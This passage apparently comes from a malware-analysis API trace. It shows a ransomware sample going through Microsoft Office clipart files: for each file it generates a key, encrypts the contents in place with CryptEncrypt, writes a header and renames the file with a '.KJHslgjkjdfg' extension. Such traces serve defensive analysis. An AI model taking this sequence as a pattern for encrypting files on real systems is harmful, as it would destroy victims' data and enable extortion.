lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.399] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.400] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.400] GetProcessHeap () returned 0x2a0000 [0154.400] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.400] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.400] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.400] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.400] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.400] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.400] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.400] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.400] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.400] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.400] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4354, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4354, lpOverlapped=0x0) returned 1 [0154.404] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4360, dwBufLen=0x4360 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4360) returned 1 [0154.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.405] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4360, lpOverlapped=0x0) returned 1 [0154.405] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.405] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4434, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.405] SetEndOfFile (hFile=0x114) returned 1 [0154.409] GetProcessHeap () returned 0x2a0000 [0154.409] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.409] GetProcessHeap () returned 0x2a0000 [0154.409] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.409] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD05119_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd05119_.wmf.kjhslgjkjdfg")) returned 1 [0154.410] CloseHandle (hObject=0x114) returned 1 [0154.410] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3ef0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD06102_.WMF", cAlternateFileName="")) returned 1 [0154.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.411] GetProcessHeap () returned 0x2a0000 [0154.411] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.411] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.411] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.411] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.411] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.412] GetProcessHeap () returned 0x2a0000 [0154.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.412] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.412] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.412] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.415] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.415] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.415] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.415] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.415] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.415] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.415] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.416] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3ef0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3ef0, lpOverlapped=0x0) returned 1 [0154.416] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0, dwBufLen=0x3ef0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ef0) returned 1 [0154.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.417] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ef0, lpOverlapped=0x0) returned 1 [0154.417] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.417] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3fc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.417] SetEndOfFile (hFile=0x114) returned 1 [0154.420] GetProcessHeap () returned 0x2a0000 [0154.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.420] GetProcessHeap () returned 0x2a0000 [0154.420] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.420] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06102_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06102_.wmf.kjhslgjkjdfg")) returned 1 [0154.424] CloseHandle (hObject=0x114) returned 1 [0154.424] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5178e0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4124, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD06200_.WMF", cAlternateFileName="")) returned 1 [0154.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.428] GetProcessHeap () returned 0x2a0000 [0154.428] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.428] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0154.432] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.432] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.432] GetProcessHeap () returned 0x2a0000 [0154.432] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.432] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.432] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.432] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.432] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.432] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.433] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.433] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.433] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.433] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.433] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.433] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4124, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4124, lpOverlapped=0x0) returned 1 [0154.448] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4130, dwBufLen=0x4130 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4130) returned 1 [0154.448] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.448] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4130, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4130, lpOverlapped=0x0) returned 1 [0154.448] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.449] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.449] SetEndOfFile (hFile=0x114) returned 1 [0154.451] GetProcessHeap () returned 0x2a0000 [0154.451] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.451] GetProcessHeap () returned 0x2a0000 [0154.451] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.452] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD06200_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd06200_.wmf.kjhslgjkjdfg")) returned 1 [0154.453] CloseHandle (hObject=0x114) returned 1 [0154.453] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x687c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07761_.WMF", cAlternateFileName="")) returned 1 [0154.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.454] GetProcessHeap () returned 0x2a0000 [0154.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.454] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.454] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.454] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.472] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.472] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.472] GetProcessHeap () returned 0x2a0000 [0154.472] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.472] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.472] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.472] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.472] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.473] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.473] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0154.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0154.473] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0154.473] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.473] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.473] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.473] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x687c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x687c, lpOverlapped=0x0) returned 1 [0154.547] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6880, dwBufLen=0x6880 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x6880) returned 1 [0154.547] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.548] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x6880, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x6880, lpOverlapped=0x0) returned 1 [0154.548] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.548] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x6954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.548] SetEndOfFile (hFile=0x114) returned 1 [0154.551] GetProcessHeap () returned 0x2a0000 [0154.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0154.551] GetProcessHeap () returned 0x2a0000 [0154.551] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0154.551] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07761_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07761_.wmf.kjhslgjkjdfg")) returned 1 [0154.552] CloseHandle (hObject=0x114) returned 1 [0154.552] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5f455930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x133c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD07804_.WMF", cAlternateFileName="")) returned 1 [0154.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0154.553] GetProcessHeap () returned 0x2a0000 [0154.553] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0154.553] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0154.553] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0154.553] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.556] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0154.556] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0154.556] GetProcessHeap () returned 0x2a0000 [0154.556] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0154.556] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0154.556] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0154.556] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0154.556] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0154.556] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0154.556] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: 